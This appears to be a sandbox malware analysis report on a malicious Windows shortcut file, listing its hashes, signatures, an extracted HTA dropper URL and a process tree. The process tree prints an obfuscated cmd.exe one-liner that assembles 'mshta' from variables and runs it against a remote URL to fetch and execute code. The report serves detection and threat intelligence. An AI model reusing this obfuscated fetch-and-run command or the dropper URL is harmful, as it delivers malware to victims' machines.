Analysis
- max time kernel
60s - max time network
61s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
23/08/2026, 01:02
Static task
static1
Behavioral task
behavioral1
Sample
DOC-4DS80Y.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-4DS80Y.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-4DS80Y.lnk
- Size 1KB
- Sample260823-bd4hzawvbv
- SHA256 6d28091a2d2b6ba93b0c7081214011a063cc7cb4633ba801b96dc1b1130d5eba
- MD5 4b6a78bd2acdc565f7bac3d8b891a955
- SHA1 1200f687abbd9dfec3606b52f26677d7d6623deb
- SHA512 ada08de9a0cf9585032c73d346af7dad7c731d92a24bf20510efbab9600aabe0dbf885b2a2f8cd22a1ae9e862ea824f26201165ddb0493f67a202020fc7fba09
- TLSH T1513164003EF90A28F3F39F7684BB5B1489BB78668D14CA1D4140864D1432A01E6BBF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2776 cmd.exe 2944 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2776 wrote to memory of 2944 2776 cmd.exe 90 PID 2944 wrote to memory of 3300 2944 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-4DS80Y.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set nFIjY=msh&&set jbN=ta&&start "" !nFIjY!!jbN! https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2944 -
C:\Windows\System32\mshta.exemshta https://documntacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:3300
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